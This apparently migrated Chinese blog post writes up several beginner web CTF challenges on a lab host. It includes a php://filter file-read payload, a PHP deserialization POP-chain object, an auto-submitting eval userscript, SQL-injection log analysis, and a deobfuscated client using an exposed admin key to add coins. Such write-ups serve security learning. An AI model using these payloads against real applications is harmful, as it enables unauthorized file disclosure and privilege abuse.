本文从旧博客迁移而来。
文章中所有图片均引自原路径(GitHub
仓库),因此可能出现加载速度较慢的问题。
以下为原文内容。
随手记录一下(
5呢
简单的正则
通过构造符合题意的正则表达式即可得到 flag。
http://10.60.38.227:34003/?s=the%20flag12/d/31
你会那样读文件吗
进入后链接提示我们跳转到 hint.php
,之后在源码中找到提示:
然后通过 php 伪协议获得 flag.php 的 base64,再通过解码就能拿到 flag了:
php://filter/read=convert.base64-encode/resource=flag.php
快速计算
标题虽然说是 Python 计算,但其实并用不到 Python(
通过观察我们知道我们需要计算的内容是第二个 div
里的算式去掉 =?
的部分,于是简单写一个油猴脚本:
// ==UserScript== // @name New Userscript // @namespace http://tampermonkey.net/ // @version 0.1 // @description try to take over the world! // @author You // @match http://10.60.38.227:34005/ // @grant none // ==/UserScript== (function() { const t = document.querySelectorAll('div')[1].textContent; const ev = t.substr(0, t.length - 2); const result = eval(ev); document.querySelector('input[type=text]').value = result; document.querySelector('input[type=Submit]').click(); })();
加载后刷新页面即可:
哪个才是 flag
找不同,在源码中找到真正的 flag:
Serialize & Unserialize
首先先根据题目要求构造字符串:
<?php $KEY="Spirit"; echo serialize($KEY);
得到第一步答案:s:6:"Spirit";
,根据提示跳转到 info.php
:
<?php @error_reporting(0); class Start { public $a; public $b; public function __destruct() { $this->a->test1(); } } class Func1 { public $a; public $b; public function __call($test, $arr) { $this->b="字符串".$this->a; } } class Func2 { public $a; public $b; public function __toString() { $s=$this->a; $s(); return "1"; } } class Func3 { public $a; public $b; public function __invoke() { $this->a->get_flag(); } } class Flag { public function get_flag() { echo "flag{****************}"; } } $a=isset($_GET['go'])?$_GET['go']:""; $b=@unserialize($a); if ($a&&!$b) { echo "unserilize('".$a ."') 失败"; }
根据观察,可以发现类从上到下类似链式调用,于是补充代码如下:
得到输出结果:
O:5:"Start":2:{s:1:"a";O:5:"Func1":2:{s:1:"a";O:5:"Func2":2:{s:1:"a";O:5:"Func3":2:{s:1:"a";O:4:"Flag":0:{}s:1:"b";N;}s:1:"b";N;}s:1:"b";N;}s:1:"b";N;}flag{**}
log
首先观察 access.log
文件本身,我们可以发现其中充斥这很多 URI 编码后的字符串。我们先将其过一遍 decodeURIComponent
,再去除一些无用的内容,诸如 UserAgent
。
再观察,可以发现这是一次 SQL 注入的攻击日志,攻击者通过各位比较确认了 flag。于是我们可以利用攻击者确认 flag 的日志获得 flag。搜索 !=
:
可以看到,这些数字已经是我们想要的 f
,l
,a
了。最后将其拼接起来即可:
可靠的WebApp
通过观察可以发现核心在于 main.min.js
:
打开文件,发现文件经过了混淆。我们使用 JSNice
简单对内容进行反混淆:
再对所有用到 _0x76ef
的项进行整理,最后得到相对反混淆后的结果。在这个过程中,我们观察到这个对象:
this.APIModels = { authorize: { model: "authorize" }, userInfo: { model: "userInfo" }, buyFlag: { model: "buyFlag" }, adminAddCoin: { model: "adminAddCoin", key: "Admin123321.", count: 0 } };
通过这个对象,我们构建出增加余额的函数(上文对象中 count
需要改大):
this.adminAddCoin = function() { this.call("adminAddCoin", this.APIModels.adminAddCoin, function( canCreateDiscussions ) { console.log(canCreateDiscussions); }); };
最后,用我们修改完的 main
函数在 Console
中替换原有的 console
即可:
最后修改后的 main.min.js
如下:
"use strict"; function main(key) { function GUIPARAMS() { let _this = this; this.token = null; this.onerror = function() { alert("Error on request."); }; this.toCharArr = function(str) { str = str.split(""); let arr = new Uint8Array(str.length); str.forEach(function(canCreateDiscussions, wikiId) { arr[wikiId] = canCreateDiscussions.charCodeAt(0); }); return arr; }; this.fromCharArr = function(canCreateDiscussions) { let plan_count = ""; canCreateDiscussions.forEach(function(year_data) { plan_count = plan_count + String.fromCharCode(year_data); }); return plan_count; }; this.pkcs7Pad = function(msg) { let val = 16 - (msg.length % 16); let log = new Uint8Array(msg.length + val); log.set(msg, 0); log.fill(val, msg.length, msg.length + val); return log; }; this.pkcs7UnPad = function(range) { let start = range[range.length - 1]; if (start > 16) { return null; } return range.subarray(0, range.length - start); }; this.ui8concat = function(sumX, data) { let command_codes = new Uint8Array(sumX.length + data.length); command_codes.set(sumX, 0); command_codes.set(data, sumX.length); return command_codes; }; this.APIModels = { authorize: { model: "authorize" }, userInfo: { model: "userInfo" }, buyFlag: { model: "buyFlag" }, adminAddCoin: { model: "adminAddCoin", key: "Admin123321.", count: 114514 } }; this.call = function(path, model, savetoBd) { this.iv = this.toCharArr( CryptoJS.MD5( Math.random() .toString(36) .substr(2) ) .toString() .substr(0, 16) ); let _0xe48ex10 = new aesjs.ModeOfOperation.cbc(this.key, this.iv); let value = this.ui8concat( this.iv, _0xe48ex10.encrypt(this.pkcs7Pad(this.toCharArr(JSON.stringify(model)))) ); let param = new XMLHttpRequest(); param.timeout = 3000; param.open("POST", "/api/" + path, true); param.setRequestHeader("Content-type", "application/octet-stream"); if (this.token) { param.setRequestHeader("X-Token", this.token); param.setRequestHeader( "X-Message-Code", CryptoJS.HmacSHA1(this.token, JSON.stringify(model)) ); } param.onload = function(canCreateDiscussions) { if (this.status === 200) { let data = JSON.parse(this.responseText); if (data.status === 0) { let rua = new aesjs.ModeOfOperation.cbc(_this.key, _this.iv); data.payload = JSON.parse( _this.fromCharArr( _this.pkcs7UnPad( rua.decrypt(_this.toCharArr(window.atob(data.payload))) ) ) ); savetoBd(data); return; } } _this.onerror(); }; param.ontimeout = this.onerror; param.onerror = this.onerror; param.send(value); }; this.getUserInfo = function() { this.call("userInfo", this.APIModels.userInfo, function( canCreateDiscussions ) { console.log(canCreateDiscussions); document.getElementById("output").innerText = "You have " + canCreateDiscussions.payload.coin + " coins in your account."; }); }; this.buyFlag = function() { this.call("buyFlag", this.APIModels.buyFlag, function( canCreateDiscussions ) { console.log(canCreateDiscussions); let output = document.getElementById("output"); if (canCreateDiscussions.payload.success) { output.innerText = canCreateDiscussions.payload.flag; } else { output.innerText = canCreateDiscussions.payload.reason; } }); }; this.authorize = function() { if (key) { this.key = this.toCharArr(key); } else { return; } this.call("authorize", this.APIModels.authorize, function( canCreateDiscussions ) { console.log(canCreateDiscussions); _this.token = canCreateDiscussions.payload.token; let packByNumType = document.getElementById("buttons"); packByNumType.innerHTML = ""; let data = document.createElement("button"); data.innerHTML = "User Info"; data.addEventListener("click", function() { _this.getUserInfo(); }); packByNumType.append(data); let pivot = document.createElement("button"); pivot.innerHTML = "Buy Flag"; pivot.addEventListener("click", function() { _this.buyFlag(); }); packByNumType.append(pivot); }); }; this.adminAddCoin = function() { this.call("adminAddCoin", this.APIModels.adminAddCoin, function( canCreateDiscussions ) { console.log(canCreateDiscussions); }); }; } let instance = new GUIPARAMS(); instance.authorize(); window.instance = instance; }